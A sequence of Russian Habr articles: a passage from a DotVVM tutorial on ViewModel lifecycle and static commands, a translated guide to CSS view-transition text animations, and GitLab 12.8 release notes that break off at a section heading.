При запросе на страницу, происходит парсинг URL и DotVVM ищет его в DotVVMStartup.cs, где в таблице маршрутов есть путь на .dothtml файл, где, в свою очередь, есть директива на ViewModel.
ViewModel проходит сериализацию в json и это накладывает на ViewModel определённые правила. В json попадают все публичные методы и публичные свойства (string, Guid, bool, int остальные числовые типы, DateTime, коллекции (array, List). В случае List, это может быть коллекция таких же простых типов, или объектов, которые эти типы используют.
При работе с DotVVM в реальных проектах выявились несколько правил для архитектуры ViewModel, которых мы стараемся придерживаться.
* Не использовать Entity Framework DbContext прямо в ViewModel
* Не показывать во View чистые Entity, а использовать DTO (Data Transfer Objects)
* Для большего контроля над ViewModel, он должен наследовать DotvvmViewModelBase
Итак представим, что ViewModel успешно собрался в json, во View сгенерировались все front-end привязки и страница загрузилась. Поочередно прошли методы, наследуемые от DotvvmViewModelBase: Init(), Load() и PreRender(). При первой загрузке страницы, override этих функций может быть полезен, но обо всем по порядку.
Добавим новое дело с список.
1. На сервер посылается AJAX POST с json изменённого ViewModel
2. В память сервера выгружается тот же ViewModel, но неизмененный
3. Произведён **Init()**
4. Неизмененный серверный ViewModel сравнивается с тем, что пришло с клиента
5. Произведён **Load()**
6. Происходит выполнение самого метода
7. Произведён **PreRender()**
8. После сравнения изменения посылаются обратно на клиента.
Когда ваш ViewModel наследует DotvvmViewModelBase у вас есть доступ к Init(), Load() и PreRender(). Все три метода абстрактные и их можно расширять и модифицировать.
Также в DotvvmViewModelBase есть свойство контекста запроса Context, откуда есть доступ к объекту запроса, к свойству IsPostBack, к параметрам URL [много чему еще](https://www.dotvvm.com/docs/tutorials/basics-request-context/latest).
Посылать при каждом постбэке весь ViewModel весьма не эффективно. Для того, чтобы хоть как-то снизить количество пересылаемых данных, в DotVVM есть несколько подходов.
#### Атрибут Bind
Атрибут Bind позволяет указать компилятору, как обрабатывать свойства в ViewModel.
* **[Bind(Direction.Both)]** — Настройка по умолчанию. Данные посылаются при каждом запросе.
* **[Bind(Direction.None)]** — В основном используется для сервисов и фасад, которые не проходят сериализацию, но используются в ViewModel для загрузки или сохранения данный.
* **[Bind(Direction.ServerToClient)]** — Данные посылаютя только в одну сторону, с сервера на клиент. Значит только при загрузке страницы, но не при постбэке.
* **[Bind(Direction.ServerToClientFirstRequest)]** — Идеально подходит для статичных данных. Например вариантов в комбинированном списке
* **[Bind(Direction.ClientToServer)]** — Данные посылаются только в одну сторону, при постбэке, с клиента на сервер.
#### Static commands
DotVVM также позволяет сделать запрос на статический метод на сервере. Эффективность таких методов в том, что они посылают только ответ, то есть с сервера приходит весь ViewModel, а только нужная нам часть. Такие статические методы могут принимать параметры и возвращать значения.
В нашем примере есть место, где можно применить Static commands. Когда мы помечаем дело как „сделанное“. Не обязательно при этом посылать весь ViewModel на сервер.
Можно переписать метод MarkAsDone(ToDoItem item) на статический перенеся его в отдельный статический класс и добавив к методу атрибут **[AllowStaticCommand]**.
```
namespace FirstDotvvmApp
{
public static class ToDoItemValidator
{
[AllowStaticCommand]
public static bool IsDone() => true;
}
}
```
Нужно также изменить View добавив директиву с пространством имен, где находится наш статический класс.
```
@import FirstDotvvmApp
```
Кнопка будет использовать не просто command, а staticCommand.
```
```
Для сравнения можно посмотреть сколько трафика мы сэкономили.
Обычно для экономии трафика при коммуникации на реальный проектах используется комбинация обоих подходов.
#### Ссылки
Больше примеров по использованию новых функций можно найти [по ссылке](https://github.com/riganti/dotvvm-samples-2.0).
Также недавно прошел [стрим (анг.) по DotVVM 2.0](https://www.youtube.com/watch?v=LiTajcb6tug), где рассказали про главные нововведения и новые функции. | https://habr.com/ru/post/412951/ | null | ru | null |
# Анимация текстовых переходов
Эта статья — перевод оригинальной статьи "[Text Replace Transitions](https://nerdy.dev/text-replace-transitions)"
Также я веду телеграм канал “[Frontend по-флотски](https://t.me/frontend_pasta)”, где рассказываю про интересные вещи из мира разработки интерфейсов.
Вступление
----------
Начнём с хорошего, финальная демка, как будто вы прочитали всё до конца.
<https://codepen.io/argyleink/pen/KKBWwMr>
Если вы видите ошибку поддержки, вот запись его работы в Chrome Canary (с [включенным этим флагом](https://chrome://flags/#view-transition) 😉.
tldr;
-----
`view-transition` позволяет мне **с помощью CSS** описать, как убрать старое текстовое состояние и показать новое текстовое состояние.
Вдохновение
-----------
Идея этой демонстрации пришла из игры Session Skate. В начальных титрах «SESSION» каждая буква быстро исчезает. Это выглядело довольно круто, и я сразу понял, что могу сделать это с помощью `view-transition`, `setInterval()` и `.textContent`. Итак, я завёл себе задачу в todo, чтобы сделать это, потому что пришло время заняться фигнёй, а не работой.
Это превратилось в небольшой прототип. Взгляните на эти баребоны!
```
setInterval(() => {
document.startViewTransition(() => {
h1.textContent = word[index++]
if (index >= word.length) index = 0
})
}, 500)
```
1. Каждые полсекунды.
2. Сделай снепшот предыдущего состояния.
3. Задай новый текст.
Когда работа завершается в коллбэке функции `startViewTransition`, браузер бесплатно интерполирует изменения для вас. В нашем случае была "V", теперь "i". Одна буква исчезла, одна буква появилась. Получаем кроссфейд!
<https://codepen.io/argyleink/pen/BaPWpmQ>
Оно. Мы сделали как в игре.
Настройка перехода
------------------
Кроссфейды — это круто (и вы все тоже), но что, если я захочу настроить, как будет меняться текст? Возможно, с чем-то типо [Open Props](https://open-props.style/)?
### Не проблема 🤘💀
Во-первых, сделаем импорт [easings](https://open-props.style/#easing) и [animation](https://open-props.style/#animations):
```
@import "https://unpkg.com/open-props/easings.min.css";
@import "https://unpkg.com/open-props/animations.min.css";
```
Затем, в качестве оптимизации, скажите всей странице расслабиться и не переходить, когда запрашивается снепшот перехода.
```
html {
view-transition-name: none;
}
```
Теперь, когда мы сказали, что мы не хотим переходить, давайте уточним, что следует делать, h1!
```
h1 {
/* be stable. fix that width. */
inline-size: 1em;
/* required for view-transitions
now it's not the whole page */
contain: layout;
/* yo browser; transition this! */
view-transition-name: replace-effect;
}
```
Запомните что `view-transition-name` может ссылаться на своё состояния до и после в следующем этапе.
Теперь самое приятное
---------------------
Используйте некоторые из этих пропсов, чтобы организовать появление и исчезновение буквы/снепшотов DOM. Начнем с того, как должна выйти предыдущая букву; давайте посмотрим, я хочу, чтобы она масштабировалась, например, от меня, и исчезала в то же время.
```
@media (prefers-reduced-motion: no-preference) {
html::view-transition-old(replace-effect) {
animation:
var(--animation-fade-out),
var(--animation-scale-down);
}
}
```
### Восхитительная магия
Теперь для появления элемента; затемните его, сдвинув вверх!
```
@media (prefers-reduced-motion: no-preference) {
html::view-transition-new(replace-effect) {
z-index: 1;
animation:
var(--animation-fade-out) reverse,
var(--animation-slide-in-up);
}
}
```
*анимация затухания инвертируется, поэтому непрозрачность не нужно устанавливать на 0.*
Меняйте и подбирайте пропсы для анимации в этом Codepen и получайте удовольствие 🙂
<https://codepen.io/argyleink/pen/KKBWwMr>
Заключение
----------
Внесите изменения в DOM, скажите как анимировать изменения. **Влюбитесь**. | https://habr.com/ru/post/710276/ | null | ru | null |
# Вышел релиз GitLab 12.8 с обозревателем логов, NuGet и панелью управления соответствием требованиям
Новый релиз GitLab 12.8 посвящен подходу «единое место»: для всех ваших логов, пакетов NuGet и контроля за соответствием требованиям. По аналогии с тем, что GitLab — это единое место для всего вашего жизненного цикла DevOps.
Обозреватель логов для быстрой сортировки ошибок
------------------------------------------------
При обработке данных об инциденте или проверке статуса вашего сервиса необходима возможность просматривать логи пода Kubernetes со всего вашего приложения. Ранее это был довольно сложный процесс, так как вы могли видеть только часть логов, не могли вернуться назад или использовать поиск. Это было настолько трудоемко, что использовать логи пода было очень непрактично для содержательного анализа. Поэтому их использовали только в случае простых исправлений и устранения неисправностей.
С новым [обозревателем логов](#agregirovanie-logov) вы можете взаимодействовать со всеми вашими логами, собранными в одном месте. Мощные функции, такие как фильтрация, выбор времени и полнотекстовый поиск, позволят быстро получить нужную информацию. Благодаря этой фиче наша [категория логов](https://about.gitlab.com/direction/monitor/apm/logging/) перемещается с `minimal` на `viable`! Для того, чтобы подключить эту фичу, [установите Elastic stack](https://docs.gitlab.com/ee/user/clusters/applications.html#elastic-stack) на вашем кластере Kubernetes с помощью приложения, управляемого GitLab (GitLab Managed app), и ваши логи будут автоматически собираться в одном месте.
Эффективное хранение и совместное использование ресурсов C# и .NET
------------------------------------------------------------------
У Windows — большое, активное и постоянно растущее сообщество разработчиков. В то время, как в GitLab уже было встроенное управление пакетами для [C/C++](https://docs.gitlab.com/ee/user/packages/conan_repository/index.html), [Java](https://docs.gitlab.com/ee/user/packages/maven_repository/index.html) и [Node.js](https://docs.gitlab.com/ee/user/packages/npm_registry/index.html), командам, пишущим приложения на C# и .NET, все еще нужно было использовать внешние инструменты для хранения и управления своими файлами. Это означало, что они не могли воспользоваться [преимуществами использования одного приложения](https://about.gitlab.com/single-application/) для всего жизненного цикла DevOps.
С новым релизом GitLab 12.8 разработчики на C# и .NET могут использовать встроенный [NuGet-репозиторий](#sobirayte-publikuyte-i-delites-paketami-s-pomoschyu-repozitoriya-nuget-net-gitlab), так что теперь у них есть единое место для управления и обмена файлами проекта как приватно, так и в общем доступе. Теперь вы сможете оценить все преимущества того, что ваш исходный код, конвейеры (в русской локализации GitLab «сборочные линии») CI/CD и результирующие пакеты находятся в одном приложении, — и работать быстрее и с меньшими затратами.
Управляйте рисками с помощью панели соответствия требованиям
------------------------------------------------------------
Мерж-реквесты (в русской локализации GitLab «запросы на слияние») — это элегантный и действенный инструмент управления для ведения учета изменений и их подтверждения. Команды, занимающиеся выпуском релизов, используют их для отслеживания развертываний, а команды, занимающиеся инфраструктурой, используют их для практики [GitOps](https://about.gitlab.com/blog/2019/11/18/gitops-prt-3/).
Кроме того, отслеживание всей деятельности по мерж-реквестам может быть критически важным для организаций с конкретными корпоративными правилами, регулирующими их деятельность для соблюдения требований стандартов, таких как SOC 2, ISO 27001, GDPR, SOX, HIPAA и PCI-DSS.
Некоторые примеры стратегий управления:
* У каждого мерж-реквеста есть связанный тикет с подробной информацией об изменениях
* Все мерж-реквесты рассматриваются и подтверждаются не авторами
* Все мерж-реквесты проходят тестирование на качество и безопасность
* Любые исключения из требований требуют отдельного подтверждения
Ранее у пользователей GitLab не было необходимых инструментов для эффективного управления изменениями инстанса GitLab и соблюдения требований в нем. Активность на уровне проекта была ограничена конкретным проектом, и не было простого способа просмотреть эту информацию по всем проектам на групповом уровне. Такое отсутствие контроля и прозрачности создавало потенциальные риски, снижая возможности пользователей по управлению соответствием требованиям в GitLab.
Мы разработали [концепцию надежной системы управления соответствием требованиям](https://about.gitlab.com/direction/dev/#manage) для GitLab. В качестве первого шага мы добавили [панель управления соответствием требованиям](#panel-upravleniya-sootvetstviem-trebovaniyam), которая показывает последние мерж-реквесты для каждого проекта в группе. С ее первой версией вы можете управлять аудитом изменений вашего кода для релизов и GitOps из одного места. Организациям, нацеленным на соблюдение требований, эта панель предоставляет возможность быстро понять, какие проекты подвержену большему риску и, следовательно, заслуживают дополнительного внимания. В наших следующих релизах вас ждет [больше возможностей и улучшений](https://about.gitlab.com/direction/manage/compliance-management/#whats-next--why).
И это еще не все!
-----------------
Это — лишь небольшая выборка из всех обновлений релиза 12.8. Посмотрите также вот эти классные обновления: [просмотр заблокированных тикетов](#blokirovka-tiketov), [правила истечения срока действия образов Docker](#ispolzovanie-pravil-dlya-udaleniya-obrazov-docker) и [одноуровневые эпики](#odnourovnevye-epiki-teper-dostupny-v-premium) (в русской локализации GitLab «цели»), теперь доступные в Premium!
[Приглашаем на наши встречи](https://about.gitlab.com/events/) и [просим заполнить опрос по релизу](https://docs.google.com/forms/d/e/1FAIpQLSdWA8nKZ7eRMDOk3HCJTLRvaSRTY22GGyyE-8cvfCwIuy3Iyg/viewform?usp=sf_link) (на английском).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Roger Meier](https://gitlab.com/bufferoverflow)
--------------------------------------------------------------------------------------------------------------
Роджер добавил поддержку [S/MIME подписей коммитов](https://gitlab.com/gitlab-org/gitlab/issues/29782), которая позволяет вам с помощью стандарта X.509 подтвердить, что вы являетесь автором коммита. Эта фича пригодится для конфиденциальных проектов и в регулируемых отраслях. Товарищ Роджера по команде, [Henning Schild](https://gitlab.com/henning-schild), отправил это изменение [в Git](https://public-inbox.org/git/20180706011834.GD7697@genre.crustytoothpaste.net/), а Роджер добавил его в GitLab.
Посмотрите нашу документацию по [подписанию коммитов с X.509](https://docs.gitlab.com/ee/user/project/repository/x509_signed_commits) и начните использовать эту фичу уже сегодня. Спасибо Роджеру за этот вклад!
Основные фичи релиза GitLab 12.8
--------------------------------
### Агрегирование логов
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
В современном облачном мире, где краткосрочные сервисы и логи распределены по нескольким подам и сервисам, критически важно агрегировать логи для их своевременного отслеживания. Релиз GitLab 12.8 представляет обозреватель логов с использованием Elastic stack.
После присоединения кластера Kubernetes вы можете установить Elastic stack, который содержит инстанс Elasticsearch с Filebeat, легковесным поставщиком логов. После этого GitLab будет автоматически собирать все логи ваших приложений и удобно отображать их в пользовательском интерфейсе.
Таким образом, вы сможете просматривать агрегированные логи Kubernetes по разным сервисам и всей инфраструктуре, возвращаться назад во времени, осуществлять бесконечную прокрутку и поиск по логам ваших приложений.
Это может пригодиться, если вы обрабатываете инцидент в приложении или проверяете статус своего сервиса, или если вам необходимо просмотреть логи приложения и выполнить полнотекстовый поиск. Также эта фича поможет понять, что влияет на производительность вашего приложения, и позволит устранять любые проблемы по мере их возникновения.
[Документация по поиску по логам пода](https://docs.gitlab.com/ee/user/project/clusters/kubernetes_pod_logs.html#full-text-search) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/1348).
### Собирайте, публикуйте и делитесь пакетами с помощью репозитория NuGet (.NET) GitLab
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Для любой организации, поставляющей программное обеспечение, крайне важно дать командам простой и безопасный способ управления зависимостями. Менеджеры пакетов, такие как NuGet for C# .NET, предоставляют стандартизированный способ совместного использования и управления версиями этих библиотек среди различных проектов.
В GitLab 12.8 мы с гордостью представляем репозитории NuGet, встроенные непосредственно в GitLab. Теперь у разработчиков есть более простой способ публиковать NuGet-пакеты своих проектов. Все, что вам нужно сделать, это указать удаленный сервер NuGet в реестре пакетов GitLab, и вы сможете начать загрузку, установку и удаление пакетов.
[Документация по NuGet-репозиторию](https://docs.gitlab.com/ee/user/packages/nuget_repository/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/20050).
### Панель управления соответствием требованиям
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Организациям, которые требуют строгого соблюдения требований, нужна прозрачность. Но по мере того, как в GitLab добавляется все больше групп, проектов и пользователей, добиться прозрачности становится все сложнее, и это может затруднить должное управление рисками и соответствием требованиям.
В GitLab 12.8 мы добавили специальную панель управления на уровне группы, в которой владельцы групп могут ознакомиться с информацией о соответствии требованиям. Первая итерация этой панели собирает все недавние мерж-реквесты, подтвержденные и принятые, из каждого проекта в группе. Теперь владельцы групп будут видеть всю активность по мерж-реквестам в одном месте и смогут при необходимости принять меры.
[Документация по панели управления соответствием требованиям](https://docs.gitlab.com/ee/user/application_security/compliance_dashboard/index.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/36524).
### Правила для сетевой безопасности контейнеров
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Defend"](https://about.gitlab.com/stages-devops-lifecycle/defend/)
Мы рады представить первоначальную поддержку сетевой безопасности контейнеров, которая поможет предотвратить атаки типа Lateral Movement. Теперь вы можете настроить сетевые правила (NetworkPolicy) в кластерах Kubernetes, управляемых GitLab, чтобы ограничить взаимодействие между подами Kubernetes.
Эти правила могут контролировать взаимодействие между подами и интернетом, а также предотвращать несанкционированное взаимодействие подов с другими подами в том же кластере Kubernetes. В кластере с несколькими приложениями эта фича также позволяет сегментировать сеть между различными приложениями.
[Документация по настройке сетевой безопасности с помощью Cilium](https://docs.gitlab.com/ee/user/clusters/applications.html#install-cilium-using-gitlab-ci) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/14010).
### Одноуровневые эпики теперь доступны в Premium
(PREMIUM, SILVER) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Для поддержки наших пользователей, которые планируют большие объемы связанных работ и управляют ими на протяжении нескольких майлстоунов (в русской локализации GitLab «этапы»), спринтов и итераций, мы представляем одноуровневые эпики для владельцев планов Premium и Silver!
Создайте эпик, создавайте и добавляйте связанные с ними тикеты, устанавливайте даты начала и окончания работ, — и систематизируйте все это с помощью перетаскивания элементов по дереву эпика.
[Документация по эпикам](https://docs.gitlab.com/ee/user/group/epics/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/37081).
### Блокировка тикетов
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Четкое определение зависимостей тикетов стало еще проще. Теперь вы можете отмечать тикеты как блокирующие или заблокированные другими тикетами. Благодаря этому увидеть тикеты, которые могут нуждаться в дополнительном внимании (заблокированные), или тикеты, которые принесут значительный результат (блокирующие), теперь будет легче, чем когда-либо. Эффективность командной работы также повысится, поскольку теперь можно наглядно представить взаимоотношения внутри команды.
[Документация по связанным тикетам](https://docs.gitlab.com/ee/user/project/issues/related_issues.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/2035).
### Ограничения по тикетам «в работе» на досках задач
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Чем больше тикетов находится в работе на данном этапе, тем больше времени требуется для завершения каждого из них. Ограничения по тикетам «в работе» (Work In Progress, WIP) обычно используются командами, практикующими Kanban, и являются проверенным методом повышения скорости выполнения работ.
Начиная с 12.8 вы можете устанавливать ограничения по WIP-тикетам в списке на доске задач (в русской локализации GitLab «доска обсуждений»). Если вы превысите лимит, фоновый цвет списка изменится на красный.
[Документация по доскам задач](https://docs.gitlab.com/ee/user/project/issue_board.html#work-in-progress-limits-starter), оригинальные [тикет](https://gitlab.com/gitlab-org/gitlab/issues/11403) и [мерж-реквест](https://gitlab.com/gitlab-org/gitlab/merge_requests/16867).
### Заблокированные тикеты теперь визуально отличаются на досках задач
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Теперь вы сможете легко определить, какие тикеты сейчас заблокированы другими и требуют вашего внимания, просто взглянув на доску задач — вы сразу поймете, что замедляет вашу работу. Закройте блокирующие тикеты, и ваша команда снова сможет работать эффективно.
[Документация по заблокированным тикетам](https://docs.gitlab.com/ee/user/project/issue_board.html#blocked-issues) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/34723/).
### Автоматическая остановка окружения после заданного периода
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Теперь вы можете установить срок для автоматической остановки окружения после определенного периода простоя. Такая настройка поможет избежать лишних трат на окружения с коротким временем жизни, например, используемых для приложений для ревью. Настроить этот срок можно в `.gitlab-ci.yml`, добавив строчку типа `auto_stop_in: 1 week`, и его можно вручную переопределить из пользовательского интерфейса GitLab. Пользователи также могут отключить функцию автоматической остановки, закрепив конкретное окружение через пользовательский интерфейс и поддерживая его запущенным вне зависимости от настроек.
Теперь вы не будете тратить ресурсы инфраструктуры впустую на поддержку множества устаревших окружений. Вы также выиграете во времени на разработку, которое в противном случае было бы потрачено на остановки окружений вручную.
[Документация по автоматической остановке окружения](https://docs.gitlab.com/ee/ci/environments.html#environments-auto-stop) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/20956).
### Панель управления безопасностью для инстанса
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
В релизе 12.8 стал доступен просмотр уязвимостей безопасности на уровне инстанса. На этой панели управления вы увидите обзор возможных проблем с безопасностью во всех группах и проектах вашего инстанса.
В дополнение к просмотру списка уязвимостей в ваших проектах и динамики уязвимостей с течением времени, на панели вы увидите проекты во всех группах, отсортированные по буквенным оценкам отчета по безопасности для быстрого принятия решения о том, какой проект сейчас нуждается в наибольшем внимании.
[Документация по панели управления безопасностью](https://docs.gitlab.com/ee/user/application_security/security_dashboard/#instance-security-dashboard) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/6953).
### Автоматические сканирования на доступность в приложениях для ревью
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Все больше разработчиков программного обеспечения обеспокоены доступностью веб-страниц и приложений. К сожалению, в процессе разработки программного обеспечения тестирование на доступность часто бывает второстепенным. Как правило, это ручной и непоследовательный процесс, если он вообще проводится. Командам разработчиков часто не хватает от менеджеров по продуктам или дизайнеров четких требований, описывающих стандарты доступности, которым необходимо следовать при создании приложения.
Начиная с GitLab 12.8 в приложениях для ревью появилась возможность автоматического сканирования и получения отчета о проблемах с доступностью. Это позволит сэкономить время разработки, быстрее получая обратную связь по вопросам доступности, что окажет значительное влияние на то, насколько доступно будет это приложение для всех пользователей. В качестве первого шага вы можете загрузить отчет по каждому мерж-реквесту.
Мы рассматриваем эту фичу как надежный фундамент для дальнейшего развития в области тестирования доступности. Мы с нетерпением ждем ваших отзывов о нашем [подходе к тестированию на доступность](https://about.gitlab.com/direction/verify/accessibility_testing/).
[Документация по тестированию доступности](https://docs.gitlab.com/ee/user/project/merge_requests/accessibility_testing.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/25566).
Другие улучшения в GitLab 12.8
------------------------------
### Автоматическое подтягивание артефактов для межпроектных заданий
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Теперь можно указывать, что задание в проекте зависит от последнего артефакта, произведенного заданием на другом конвейере. Это значительно упростит настройку межпроектных конвейеров, которые имеют зависимости артефактов друг от друга.
В качестве примера можно привести конвейер, который собирает исполняемый двоичный файл. До этого обновления вам приходилось каждый раз пересобирать все библиотеки, от которых зависел этот файл, даже если сама библиотека не менялась. Это была пустая трата времени и вычислительных мощностей, а обходные пути требовали использования хрупкой комбинации ключей API, cURL и защищенных переменных. Теперь же, указав `artifacts: true` в `needs:` вашего задания, вы сможете подтянуть артефакт, сгенерированный конвейером библиотек, и использовать его в окончательном конвейере без необходимости пересборки.
[Документация по использованию артефактов между конвейерами](https://docs.gitlab.com/ee/ci/yaml/#cross-project-artifact-downloads-with-needs-premium) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/14311).
### Правила подтверждения мерж-реквестов для защищенных веток
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Код-ревью — основополагающая практика любого успешного проекта, и правила подтверждения мерж-реквестов помогут убедиться, что каждое изменение проверят нужные люди. Это особенно важно при реализации непрерывной поставки (continuous delivery) или при работе над проектами с повышенным риском. Раньше добавление более строгих правил подтверждения для защиты ветки по умолчанию привело бы к одинаковым требованиям для каждой ветки. Из-за этого все мерж-реквесты должны были соответствовать одним и тем же правилам, будь то принятие исправления из ветки `master` в релизную, или же между двумя выделенными ветками.
GitLab 12.8 решает эту проблему: правила подтверждения мерж-реквестов, установленные на уровне проекта, могут запрашиваться выборочно, исходя из целевой ветки мерж-реквеста. Это позволяет применять эти правила именно тогда, когда они необходимы, и даже применять разные правила к разным веткам, например, к стабильным релизным веткам.
[Документация по правилам подтверждения мерж-реквестов](https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html#scoped-to-protected-branch-premium) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/460).
### Улучшенная производительность алгоритма сборщика мусора для S3 в реестре контейнеров GitLab
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Для организаций, создающих множество образов для множества разных проектов, важно иметь возможность удалять старые ненужные образы и теги. Сборщик мусора реестра контейнеров GitLab работает медленно и неэффективно использует ресурсы. Поэтому для инстансов с большими реестрами сложно использовать сборщик мусора, что приводит к дополнительным расходам на хранение.
В GitLab 12.8 мы с радостью объявляем о значительном улучшении в производительности сборщика мусора для инстансов, использующих S3 для хранения. Эти улучшения касаются стадий `mark` и `sweep`. При тестировании на 15 тысячах образов время выполнения стадии `mark` снизилось с 25 минут до 90 секунд, а время выполнения стадии `sweep` снизилось с 20 минут до 3 секунд! Вы можете узнать больше о тестах производительности и оптимизации выполнения бенчмарка в соответствующем [мерж-реквесте](https://gitlab.com/gitlab-org/container-registry/-/merge_requests/31).
[Документация по реестру контейнеров](https://docs.gitlab.com/ee/administration/packages/container_registry.html#container-registry-garbage-collection) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31071).
### Удаление поврежденных манифестов Docker при сборке мусора
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
При запуске [сборщика мусора](https://docs.gitlab.com/ee/administration/packages/container_registry.html#container-registry-garbage-collection) для удаления старых неиспользуемых образов пользователи часто сталкивались с проблемой, при которой процесс завершался неудачно из-за поврежденных манифестов Docker. Для разрешения этой проблемы администраторам приходилось вручную удалять поврежденные файлы из хранилища объектов, что было медленно и рискованно.
Мы рады сообщить, что начиная с релиза 12.8 любые поврежденные манифесты будут удаляться в процессе сборки мусора. Если в процессе сборки мусора будет найден файл с некорректной ссылкой (нулевой размер или невалидная контрольная сумма), то вместо остановки процесса сборщик выдаст предупреждающее сообщение и проигнорирует файл. Все blob, связанные с такими файлами, будут удалены на стадии `sweep`, если эти blob не связаны с другим файлом с валидной ссылкой. Это обновление делает процесс сборки мусора более надежным и эффективным.
[Документация по сборщику мусора реестра контейнеров](https://docs.gitlab.com/ee/administration/packages/container_registry.html#container-registry-garbage-collection) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/37611).
### Верификация подписи коммитов через S/MIME
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
У каждого коммита в репозитории Git есть автор, однако подлинность автора невозможно проверить средствами Git, а это означает, что легко можно создать коммит, подписавшись чужим именем. Подпись коммита позволит вам доказать, что именно вы являетесь его автором. Это важно для проектов с высокими требованиями к безопасности и в некоторых коммерческих окружениях.
В Git 2.19 поддержка подписи и верификации с помощью OpenGPG распространилась на использование S/MIME с сертификатами X.509, так как крупным организациям намного проще управлять этими сертификатами.
GitLab теперь тоже поддерживает верификацию подписи коммитов через S/MIME благодаря [Roger Meier](https://gitlab.com/bufferoverflow) из Siemens! Также мы благодарны [Henning Schild](https://gitlab.com/henning-schild), тоже из Siemens, за [разработку этой фичи для Git](https://public-inbox.org/git/20180706011834.GD7697@genre.crustytoothpaste.net/)!
[Документация по подписям коммитов сертификатами X.509](https://docs.gitlab.com/ee/user/project/repository/x509_signed_commits/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/29782).
### Отключение самоподтверждения мерж-реквестов на уровне инстанса
(PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Мы добавили новые настройки инстансов для предотвращения нежелательных изменений настроек подтверждений мерж-реквестов. Для этого мы перенесли некоторые настройки из настроек проекта в область настроек администратора. Это позволит администраторам лучше контролировать развертывания и разделять обязанности при развертывании кода.
При включении этих настроек на уровне инстанса в инстансах с самоуправлением они будут автоматически применены для всех проектов, и только администраторы смогут изменять их для конкретных проектов. Благодаря этим настройкам, только подтвержденные развертывания попадут в продакшн, и это приведет ваши проекты GitLab в надлежащее состояние.
[Документация по подтверждению мерж-реквестов](https://docs.gitlab.com/ee/user/admin_area/merge_requests_approvals.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/39060).
### Метаданные GitLab теперь доступны через пользовательский интерфейс реестра пакетов
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
В ходе недавнего [опроса пользователей](https://gitlab.com/gitlab-org/uxr_insights/issues/623) мы узнали, что пользователи переходят на страницу пользовательского интерфейса реестра пакетов, чтобы узнать, какую версию пакета им стоит использовать, или чтобы убедиться, что конвейер правильно собрал пакет. Однако, из-за того, что мы не отображали в этом интерфейсе никакой информации о том, как происходит сборка пакета, пользователям приходилось переключаться между несколькими различными областями приложения.
Мы рады объявить, что в GitLab 12.8 пакеты, собранные при помощи конвейеров GitLab теперь будут включать переменные `pipeline_id`, `branch` и `commit` в на странице реестра пакетов. Это поможет пользователям понять, как был собран данный пакет, и упростит устранение неполадок, если что-то пойдет не так.
[Документация по пакетам](https://docs.gitlab.com/ee/user/packages/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/33596).
### Управление доступом к защищенным окружениям через API
